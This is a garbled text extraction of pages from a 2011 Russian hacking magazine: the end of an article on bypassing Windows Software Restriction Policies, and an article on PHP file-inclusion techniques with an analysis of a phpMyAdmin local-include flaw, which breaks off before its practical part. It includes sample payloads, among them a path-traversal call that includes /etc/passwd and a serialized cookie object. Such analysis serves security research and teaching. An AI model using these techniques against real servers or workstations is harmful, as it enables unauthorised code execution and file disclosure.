книги хакеры / журнал хакер / 153_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
В результате, как ты можешь догадаться, мыполучаемзапущенный exe.Хардконныйметод предложил опятьжеДидьеСтивенс (goo.gl/kSPK3).Используяв макросеMSExcelфункции VirtualAlloc, WriteProcessMemory иCreateThread,онсумелподгрузить шеллкод измакросав память процесса. ДанныйшеллкодподгружаетDLL’ку впамять процесса, аDLL’ка — не что иное,как cmd.exe. Кстати,ее исходники взятыиз проекта ReactOS. Как яужесказал, SRP может препятствовать запускуDLL’ек (хотяине делаетэтогопо умолчанию), ноесли подгрузку библиотекосуществлять,используя функцию LoadLibraryEx с LOAD_IGNORE_CODE_AUTHZ_LEVEL вместо LoadLibrary, топроверканапринадлежностьподгружаемой dll к white-листу не происходит!
ТРЮК6.ИСПОЛЬЗУЕМПЕРЕМЕННЫЕСРЕДЫ
Когданачинаешьмучитьгрупповыеполитики,топриходитосознание, чтодлясозданиязащищеннойсистемыпотребуетсяпопотеть.Дело трудноеисбольшимколичествомтонкостей.Например,разработчики предлагаютадминамиспользоватьудобныйхинт—указыватьпере- менныесредывкачествепутейдляограниченийSRP.Давотздесь проблема.Упользователя,еслиихжестконеприщучить,естьвозможностьихпереопределять.Указал,например,админ,чтоизпапки %TEMP%можнозапускатьexe’шники,аюзервзялдаипереопределил следующейкомандой:
Set TEMP C:\
ИвоттакпростополучилвозможностьзапускатьфайлыизкорняC:. Крометого,нестоитзабыватьпростандартныедиректории,изкоторых разрешензапускexe-файлов:
•%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SystemRoot%
•%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SystemRoot%*.exe
•%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SystemRoot%System32\*.exe
•%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\ProgramFilesDir%
ОниразрешаютзапускПОтолькоизпапкиWindowsиProgram Filesдляпользователей.Уобычногопользователянетвозможности
Обходчерезизменениепеременнойокружения
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Недостаточноправ?Достаточноw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
записивних,ноиздесьмогутбытьпроблемы.Таккакнасамомделе праваназаписьупользователяесть—подефолтувпапкуC:\windows\ system32\spool\PrintersиC:\windows\temp.Еслиупользователябудет возможностьписатьвкакой-токаталогссофтом,то,считай,соответ- ствующиеполитикиSRPуженесработают.Кстати,длятогочтобына практикеповерить,какиеупользователяестьправа,поможеттулза— AccessChkотвсетогожеРуссиновича(goo.gl/jQ9tt).
ТРЮК7.ИСПОЛЬЗУЕМДРУГОГОПОЛЬЗОВАТЕЛЯ
Естьспособнеподпуститьподгрузкиполитик,нодляэтоготриканам понадобятсялогинипарольдругогопользователя.Сутьвтом,чтонам надовойтивсистему«ещераз»,нонеподсобой.Тутдваварианта:
1.<Shift>+правыйкликназапускаемомфайле,далеевконтекстном менювыбираем«Runas…».
2.Через консоль набираем команду: runas /noprofile <название exe-файла>.
Другойпользователь,подкоторымтызапускаешьпрограммку, какиты,можетбытьобычнымпользователемсограниченнымиправами.Нополитикиназапущеннуюпрограммкууженебудутдействовать!См.рисунок.
Нанемпользовательtest_gpo3неможетзапуститьregeditиз-за политик.Но,запустивподtest_gpo2любойexe’шник(диспетчерзадач например),онуженичемнеограниченипоэтомуможетзапустить regedit.Крометого,еслиунасестьвозможностьудаленноговходав систему(поRDP,например),томыможемпровестианалогичныйфинт, нотолькосоднойучеткой(демонстрациюможешьпосмотретьвэтом видео—bit.ly/pXsBj6).
ТРЮК8.ВСПОМИНАЕМПРОHTA
Последнийхинткасаетсянеофициальныхисключений,накоторыене действуютгрупповыеполитики.ВадимcПоданснаписалвблогеот- личнуюсериюпостов,посвещенныхSRP-политикам.Вчастности,он обнаружилотличныйпутьдляихобходаизапускапроизвольногокода (goo.gl/BmBsm)сиспользованиемприложенияHTA(HTMLApplication). Итак,последовательностьдействий:
1. Создаемфайликспримернотакимтекстом:
<HTML>
<script language="vbscript">
msgbox "I'm dangerous VB Code!!!"
</script>
</HTML>
2.Сохраняемегосрасширением.hta(например,execute_this.hta).
3.Создаемярлыкдлянего.
4.Открываемссылку—иhtaзапускается.
Надолиговорить,чтовместовызовабезобидногоMessageBox’а VB-кодможетсделатьвсистемечтоугодно?ПолитикиSRPдолж- ныпроверятьвеськод,которыйможетисполняться,втомчислеи всевозможныескрипты.Однакоиз-затонкостейработыгрупповых политикданныйобходработает.Каналогичным«глюковатым»расширениямпомимоHTAВадимсотноситREG,MSC,HTA,CHM.Точно такжеситуациянаблюдаетсяисcom=файлами(втомчислевсякими
олдскульнымиДОС’овскимипрограммами,которыевсеещеразбросанывпапкевинды).Онинеучитываютправилагрупповыхполитик,так какработаютввиртуальноймашинеDOS.
НАШИТОГ
Кактыможешьзаметить,всевозможныхлазеекполно.Ихразнообразиеиухищрениянемогутнеудивлять.То,чтояскажудальше,может тебяудивить.Дажепослеперечислениявсехэтихспособовдляобхода ограниченийявсеженастоятельнорекомендуюнепренебрегатьих использованием.Ктомужетеперьтыможешьучитыватьвозможность примененияэтихлазеекиснамногобольшейвероятностьюнастроить систему,котораябудетдостаточнозащищена.z
ХАКЕР 10/153/2011 |
069 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
Pr0xorKotov
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
(https://rdot.org/forum/)w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Тысяча иодин инклуд
ПОИСК
УЯЗВИМОСТЕЙ КЛАССАLOCAL/ REMOTEFILE INCLUDEНА НОВОМУРОВНЕ
Широкоизвестно,чтопричиной возникновенияуязвимостей классаLFI/RFIвPHP-движках служитвозможностьпередачи произвольныхданныхвоператорыinclude(_once)иrequire(_once). Насамомделеподключение файловкPHP-сценариюможно реализоватьимножествомдругих,менееизвестныхспособов, обэксплуациикоторыхипойдет речьвэтойстатье.
LINKS
• www.php.net/ set_include_path— описаниефункции set_include_path();
•www.php.net/ unserialize— описаниефункции unserialize();
•www.php.net/ virtual—описание функцииvirtual();
•www.php.net/__ autoload—описание метода__autoload;
•bit.ly/nWyefG— теманафорумеrdot. org,посвященная магическимметодам и__autoloadвчастности;
•bit.ly/pdY5zS
—немногопро spl_autoload();
•www.phpmyadmin. net—официальный сайтphpMyAdmin;
•bit.ly/nV1niG—один изLFI-эксплойтов дляphpMyAdmin’а.
DVD
Нанашемдискеты сможешьнайтиподробноеобучающее видеоковсем описаннымвстатье методаминклуда.
ТРЮКИСSET_INCLUDE_PATH()
Первое,начтобыяхотелобратитьвнимание,этофункцияset_ include_path(),котораяустанавливаетдиректориидляинклудав директивуinclude_path идаетвозможностьманипуляцииработой операторовinclude(_once)/require(_once).Такаяманипуляцияста- новитсявозможнойвслучае,есливPHP-сценариинезаданполный путькподключаемомуфайлу,тоестьсначаланужныйфайлищетсяв путяхизinclude_path,азатем—врабочейдиректориискрипта.
Темсамым,еслимысможемпередатьсвоипроизвольныеданные вset_include_path (иливini_set('include_path', [данные]),что аналогично,толегкоизменимрезультатработыinclude.
ДляпримерадавайвозьмемабстрактныйкодPHP-приложения,в одномизскриптовкоторогомынашлиследующееинтересноеместо:
set_include_path($path . PATH_SEPARATOR . get_include_path()); include "myclass.php";
Допустим,чтовданномскриптемыможемвлиятьнапеременную $path.Например,онаберетсяизбазыданных,вкоторуюунасестьдо- ступ,илижеееможнозадатьвадмин-панелиприложения,вкоторую мытакжеможемпопасть.Вобщем,вариантовсуществуетвеликое множество.Легкопонять,чтотакимобразоммысможемпроинклудить файлmyclass.php излюбойдиректории.
070 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Конечно,самапосебефункцияset_include_path(),котораяпринимаетпроизвольныепользовательскиеданные,неявляетсятакой ужсильнойугрозойбезопасности,ноесливтомжеприложениивдруг обнаружитсяуязвимостьтипа«filemanipulation»(тоестьмыможем создаватьфайлыспроизвольнымименем),тотутужевполневозможенследующийповоротсобытий:
1.Создаемв/tmp файлсименемmyclass.php (правадоступанаэту директориюобычно777).
2.Устанавливаем$path = /tmp/.
3.Обращаемсякскрипту,вкотороместьуказанныйвышекод,инаблюдаемуспешныйинклудфайлаmyclass.phpиздиректории/tmp.
Ты,конечноже,спросишь,еслиунасестьвозможностьсоздания произвольногофайланасервере,тозачемещепроизводитьвсеэти «лишние»действия.
Здесь есть один важный момент: так как мы расматриваем уязвимости именно PHP-скриптов, то не стоит забывать, что на подавляющем большинстве веб-серверов PHP запущен как модуль Апача и тем самым не обладает какими-либо особенными правами, кроме www/nobody/apache. Чтобы раскрутить уязвимость типа «file manipulation», мы должны создать файл в корневой директории веба, но там вполне может и не быть каталога, доступного на запись средствами PHP.
АВТОМАТИЧЕСКАЯЗАГРУЗКАОБЪЕКТОВ
Следующийважныймеханизм,которыйтакжепозволяетманипулироватьданнымивконструкцияхinclude(_once)/require(_once),это возможностьавтоматическойзагрузкиобъектов.
Широкоизвестно,чтовPHP>=5.1.2ивышебылареализована удобная«магическая»функция__autoload,позволяющаяподключатьфайлысописаниемклассовавтоматическибезиспользования includeвявномвиде.
Еслиобратитьсякофициальнойдокументации,тонашевнимание вполнеможетпривлечьтакоезамечаниеотразработчиковPHP:
If the class name is used e.g. in call_user_func()
then it can contain some dangerous characters such as ../.
It is recommended to not use the user-input in such functions or at least verify the input in __autoload().
Данноезамечаниеозначаеттотфакт,чтоеслимыможемвлиятьна параметрыфункций,оперирующихназваниямиклассов,тостановятсявозможнымиуязвимоститипаLFI/RFI.Например,воттакойкод вполнедаетвозможностьпроинклудитьфайл/etc/passwd:
function __autoload($class_name) {
require_once $class_name . '.php';
}
call_user_func(array("../../../etc/passwd\0","test"));
Конечноже,call_user_func() неединственнаяфункция,которая получаетвкачествепараметраимяклассаилиобьекта.Кчислутаких функцийтакжеотноситсяимногострадальнаяunserialize(),причем пользовательскиеданныепопадаютвэтуфункциюнамногочаще,чем вcall_user_func().
Однакоздесьестьинекоторыеограничения.Придесериализации объектаназваниеклассапроверяетсянавалидность,такимобразом, мынесможемпротолкнутьвимениобъектачто-товроде«../../../etc/ passwd».Темнеменееунасвполнеполучитсяпроинклудитьфайлиз тогожекаталога,гденаходитсяинашскрипт.
set_include_path()+__autoload()
Еслиучестьвсёнаписанноевышепоповодуфункцииset_include_ path(),тостановитсявозможныминклудлюбыхфайловизлюбой директории.
Представим,чтонужноенамвеб-приложениесодержитметод__ autoload,функциюset_include_path() ифункциюunserialize():
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Тысячаиодининклудw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Описание«новой»инклуд-функцииspl_autoload()насайтекитайскиххакеров80vul.com
function __autoload($class_name)
{
include $class_name;
}
...
set_include_path($path.PATH_SEPARATOR . get_include_path());
...
$cookie = unserialize($_COOKIE['auth']);
Далеесновапредположим,чтомыможемвлиятьнапеременную $path.Тогда,задав$path равным«/etc/»ипославвкукахзначение authравным«O:7:"hosts":0:{}»,мывполнесможемпроинклудить файл«/etc/hosts».ДанныйфактописаннетольковофициальнойдокументацииPHP,такженекоторыепримерыможнонайтиивобсужденияхнафорумеrdot.org(ссылкуищивсносках).Говоряоб__autoload, нельзянеупомянутьиотакназываемыхSPL-функциях,например spl_autoload,котораяимеетдовольнозабавнуюнедокументированнуювозможность,описаннуюещев2009г.насайтекитайскиххакеров 80vul.com:
<?php spl_autoload('info', '.txt'); ?>
Данныйсценарийвполнеуспешновыполниткодизфайлаinfo.txt.
VIRTUAL’НАЯРЕАЛЬНОСТЬ
ЕщеоднаPHP-функция,котораяпозволяет«проинклудить»файл,это virtual().Насамомделеонасильноотличаетсяотвышеперечисленных конструкций,таккакееиспользованиеэквивалентно<!--#include virtual...--> вmod_include,тоестьонавсеголишьвыполняетподзапросApache.ИспользуетсяданнаяфункциядляподключенияCGI- скриптов,shtml-файловивообщевсего,чтоможнообработатьчерез Apache.СPHP-файламиэтафункциятакжеработаетвполнесносно.
Еслиунаснасервереестьвоттакойскрипт:
<?php virtual('info.php'); ?>
…топриобращениикэтомускриптувбраузерпопадетрезультат выполненияфайлаподназваниемinfo.php.
GOOGLECODESEARCH
Дляповышениясвоеголевелабагокопателясоветуюзайтина google.com/codesearch,выбратьвкачествеязыкадляпоискаlang:^php$ ипоискатьвдвижкахописанныевстатьеопасныеконструкции:set_ include_path(),__autoload,spl_autoload(),virtual()иunserialize().
ХАКЕР 10/153/2011 |
071 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
ВЗЛОМm |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
LFIвphpMyAdmin’евфайлеsql.php
Такжеотмечу,чтоvirtual иspl_autoload —этопользовательские функции,темсамымихможноиспользоватьвкачествеcallback’ов. Например,virtualможновызватьдинамическиследующимобразом:
<?php
$path = 'virtual';
$path('myclass.php'); ?>
...илипередатькакпараметрвcall_user_func():
<?
call_user_func('virtual', 'myclass.php');
?>
EVAL==EVIL
Ещеоднаважнаяконструкция,котораяпозволяетвыполнитькодиз указанногофайла,этоeval('?>' . trim(file_get_contents('info.txt'))).
Впринципе,онадаеттотжесамыйрезультат,чтоииспользованиеinclude/require,ноприэтомсуществуютнекоторыенюансы. Во-первых,онанеоптимизируетсяакселераторами,темсамымпри оченьчастомиспользованииданнойконструкциимогутпоявиться проблемысбыстродействием.Во-вторых,наfile_get_contents() в eval() недействуетдирективаallow_url_include,темсамым,если allow_url_fopen = On (даннаяопцияподефолтуимеетименнотакое значение),мывполнесможемподключитьудаленныйфайл.
Кстати,именноэтотпростойфактидаетвозможностьтакпросто добитьсявыполнениякодавизвестномэксплойте«phpMyAdmin<= 2.11.9unserialize()arbitraryPHPcodeexecutionexploit»(bit.ly/qW94f9).
РазработчикиphpMyAdmin’апослевыходаданнойуязвимостив пабликубралиизкодасвоегодвижкатольколишьопаснуюфункцию unserialize(),оставивприэтомнеменееопасныйметодloadвклассе PMA_Configбезизменений.Причинаэтогонепотребствакроетсяв следующемкускекодаизметодаload:
$eval_result =
eval('?>' . trim(implode("\n", file($this->getSource()))));
...
if ($eval_result === false) $this->error_config_file = true;
else
{
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());
}
Данныйкоддаетвозможностькорректнойобработкиошибки парсингаконфига(написанномнаPHP)вслучаеегонеосторожной модификациикем-либо.
Тоестьесликонфигдвижкабудетсодержатьошибки,тонаэкран выведетсякрасивооформленноесообщениевида«phpMyAdmin was unable to read your configuration file!»вместо«Parse error», котороебыпоявилосьприиспользованииinclude’а.
ИНКЛУДЫВPHPMYADMIN
Теперь,послетогокактынамоталвсёвышеописанноенаус,давай продолжимначатуювпрошломномережурналатемупотрошения phpMyAdmin’а.Кактыужепомнишь,виюлеэтогогодавphpMyAdmin’е нашлицелуюплеядубагов,атакженеописанныев][двадовольно интересныхинклуда.Впабликенамоментнаписаниястатьиинформациионихнаходилосьдовольномало,приводилисьлишькускиуязвимогокода,что,конечно,нераскрываетвсейсутиэтихуязвимостей, поэтомудавайрассмотримихпоближе.
Итак,первымпоспискуидетлокальныйинклудвфайле./ libraries/display_tbl.lib.php.УязвимывсеверсииphpMyAdmin’а вплотьдо3.3.10.1включительноидо3.4.3включительно.
Информациюобэтоминклудеможнонайтинаофициальномсайте движкавразделеSecurity(PMASA-2011-8).
ПЕРВЫЙИНКЛУД:ТЕОРИЯ
Прочитавadvisory,давайвзглянемнапатч,предлагаемыйразработчикамидляветки3.3.х(вообщеследитьзапатчамиразработчиков всегдадовольноинтересно,таккактамвсегдаможнонайтидесятки малоизвестныхиужепофиксенныхзеродеев).
Сампатчвыглядитпримернотак:
./libraries/display_tbl.lib.php (phpMyAdmin 3.3.10)
if ($GLOBALS['cfgRelation']['mimework']
&& $GLOBALS['cfg']['BrowseMIME']) {
if (isset($GLOBALS['mime_map'][$meta->name]['mimetype']) ... ) {
...
-$include_file = $GLOBALS['mime_map'][$meta->name]
['transformation'];
+$include_file = PMA_securePath($GLOBALS['mime_map'][$meta->name]
['transformation']);
Описаниемагическогометода__autoloadнасайтеphp.net
072 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Тысячаиодининклудw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Создание«ядовитой»таблицывphpMyAdmin
...
require_once './libraries/transformations/' . $include_file;
Изприведенноговышекодастановитсяясно,чтодляреализации данноголокальногоинклуданеобходимыследующиеусловия:
1.$GLOBALS['cfg']['BrowseMIME'] == true.Сразускажу,чтоэтоусловиеобычнобудетвыполнено,таккаквфайле ./libraries/config. default.php указаннаяпеременнаяпоумолчаниювыставленав true.Влиятьнаэтупеременнуюмынеможем.Еслиадминсменилее значениев config.default.php,инклудполучитьуженеудастся.
2.Должныбытьопределенымассивы $GLOBALS['cfgRelation'] и $GLOBALS['mime_map'].Массив$cfgRelation играетдовольно важнуюрольвовсехуязвимостях,окоторыхпойдетречь,поэтомуя подробноопишу,какимжеобразомонформируется.
Итак,данныймассивзадаетсяфункциейPMA_getRelationsParam(), которая,всвоюочередь,определяетсявфайле./libraries/relation. lib.php:
function PMA_getRelationsParam($verbose = false)
{
if(empty($_SESSION['relation'][$GLOBALS['server']]))
{
$_SESSION['relation'][$GLOBALS['server']] =
PMA__getRelationsParam();
}
$GLOBALS['cfgRelation'] = $_SESSION['relation'[$GLOBALS['server']];
...
return $_SESSION['relation'][$GLOBALS['server']];
}
Есливмассиве $_SESSION незаданэлементrelation[$GLOBALS ['server']],тоонзадаетсяпосредствомфункцииPMA__ getRelationsParam.Еслижеэтотэлементзадан,тоонпросто возвращается.ФункцияPMA__getRelationsParam определяет массив$cfgRelation,руководствуясьзначениемпеременной $cfg['Servers'][$i]['pmadb'].
Еслизначениеэтойпеременнойнезадано,товсеэлементы массива $cfgRelation будутиметьзначения false или null.Если жепеременная$cfg['Servers'][$i]['pmadb'] определенаидоступна соответствующаябазаданных,томассив $cfgRelation определяетсявсоответствиисэтойбазойданных.Такимобразом,если
мыхотимзанестивмассив$GLOBALS['cfgRelation'] нужныенам значения,унасдолжнабытьвозможностьперезаписипеременных
вмассиве$_SESSION илидолженбытьдоступкбазеданныхподназванием«phpmyadmin»(вообщеэтабазаданныхможетназываться ипо-другому,таккакееназваниеопределяетсяконфигурационной переменнойдвижка$cfg['Servers'][$i]['pmadb']).
Важноотметить,чтоужеизвестнаятебеперезаписьпеременных массива$_SESSION вфункции parse_str(),обнаруженнаяMango, имеетместовтехжеверсияхphpMyAdmin’а,чтоирассматриваемый инклуд.Такимобразомв $cfgRelation мыслегкостьюможемзаписатьнужныенамданные.
Единственное,чтоещенужнознать,этозначениепеременной $GLOBALS['server'].Этапеременнаяопределяет,скакимсервером базыданныхмыбудетсоединяться.ОбычноphpMyAdminсоединяется
сединственнымсервером,изначениеэтойпеременнойбудетравно1.
Вкодедвижкапредусмотреныразличныевариантыработысомногимисерверами,поэтому,чтобыточнознатьзначениеэтойпеременной, намдостаточновзглянутьнакукисы,выставленныенамphpMyAdmin'ом: 'pmaUser-' . $GLOBALS['server']и'pmaPass-' . $GLOBALS['server'].
Идемдальше.
Массив $GLOBALS['mime_map'] задаетсяспомощьюфункцииPMA_ getMIME():
./libraries/transformations.lib.php
function PMA_getMIME($db, $table, $strict = false)
{
...
$com_qry = '
SELECT `column_name`,
`mimetype`,
`transformation`,
`transformation_options`
FROM ' . PMA_backquote($cfgRelation['db']) .
'.' . PMA_backquote($cfgRelation['column_info']) . '
WHERE `db_name` = \'' . PMA_sqlAddslashes($db) . '\'
AND `table_name` = \'' . PMA_sqlAddslashes($table) . '\'
AND ( `mimetype` != \'\'' . (!$strict ? '
OR `transformation` != \'\'
OR `transformation_options` != \'\'' : '') . ')';
return PMA_DBI_fetch_result($com_qry, 'column_name',
null, $GLOBALS['controllink']);
}
Еслимыхотим,чтобымассив $GLOBALS['mime_map'] содержал нужныенамданные,мыдолжнысоздатьсвоюпроизвольнуютаблицув БД.Еслиэтавозможностьунасесть,толокальныйинклудвполневозможен.Теперьсамоевремявыяснить,какикогдавызываетсяфункция
PMA_displayTableBody.
ХАКЕР 10/153/2011 |
073 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
ВЗЛОМm |
|||||
w Click |
|
|||||||||
|
|
|||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Инклудчерез__autoload
Посленебольшогопоискапокодустановитсяясно,чтосамыйудобныйдлянасвызовэтойфункциипроисходитвфайлеsql.php:
//подключается файл с нужными нам функциями
require_once './libraries/display_tbl.lib.php';
...
//если задана БД, то создается важный для нас массив $cfgRelation
if (strlen($db)) {
require_once './libraries/relation.lib.php';
$cfgRelation = PMA_getRelationsParam();
}
...
PMA_displayTable($result, $disp_mode, $analyzed_sql);
Функция PMA_displayTable заданавфайле ./libraries/display_ tbl.lib.php,небудуприводитьздесьеекод,скажулишь,чтоздесьже вызываетсяфункцияPMA_displayTableHeaders,вкоторойиформируетсянужныйнаммассив $GLOBALS['mime_map'].
ПЕРВЫЙИНКЛУД:ПРАКТИКА
Извышеперечисленногоследует,чтодлявыполнениялокального инклудамыдолжныпроизвестиследующиедействия:
